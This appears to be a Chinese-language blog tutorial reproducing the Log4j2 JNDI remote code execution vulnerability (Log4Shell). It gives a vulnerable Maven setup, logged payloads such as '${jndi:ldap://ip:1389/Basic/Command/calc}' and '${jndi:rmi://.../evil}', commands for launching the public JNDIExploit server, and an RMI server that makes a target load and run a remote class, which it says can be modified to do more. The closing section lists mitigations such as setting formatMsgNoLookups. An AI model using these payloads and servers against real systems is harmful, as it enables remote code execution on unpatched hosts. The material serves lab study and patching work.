前情提要
Apache 存在 Log4j 遠端程式碼執行漏洞,將給相關企業帶來哪些影響?還有哪些資訊值得關注?
構建maven專案引入Log4j2
編寫 pom 檔案
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>Log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
編寫測試程式碼
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class); public static void main(String[] args) { // 避免因為Java版本過高而無法觸發此漏洞 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); // 此處ip需要使用本機區域網ip或網路ip,不能使用127.0.0.1 logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}"); } }
下載 JNDI 測試伺服器
到 https://github.com/feihong-cs/JNDIExploit
或者
https://github.com/welk1n/JNDI-Injection-Exploit
下載 JNDIExploit 測試伺服器
本次使用 JNDIExploit 舉例
下載完成後使用
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
啟動伺服器
然後執行之前的Log4j2專案即可出現如圖所示效果
載入執行自己的 class 類
編寫 RMI伺服器
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * @author Pu Zhiwei * create 2021-12-11 22:06 */ public class RMIServer { public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099!"); // 前兩個引數為類名,第三個引數為遠端類地址 Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("evil", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
編寫測試類
public class Test { static { System.out.println("你好 Log4j2"); } }
然後啟動一個 http 伺服器,將編譯好的測試類放入 http 伺服器的根目錄,你可以直接使用python的http伺服器
python -m http.server 8080
修改 Log4j2 專案內容為
logger.error("${jndi:rmi://192.168.0.105:1099/evil}");
執行專案即可看到 Test 類已被執行
之後你就可以通過修改 Test 類實現更多操作。
如何防範
升級 Log4j2 到最新版本
使用最新版 JDK
臨時解決方案:
-
設定 jvm 引數 “-Dlog4j2.formatMsgNoLookups=true”
-
在專案 classpath 目錄下新增 log4j2.component.properties 配置檔案,設定 log4j2.formatMsgNoLookups=true
-
設定系統環境變數:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 設定為 “true”
END
本文首發於 https://www.buguagaoshu.com/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian
轉載請註明來源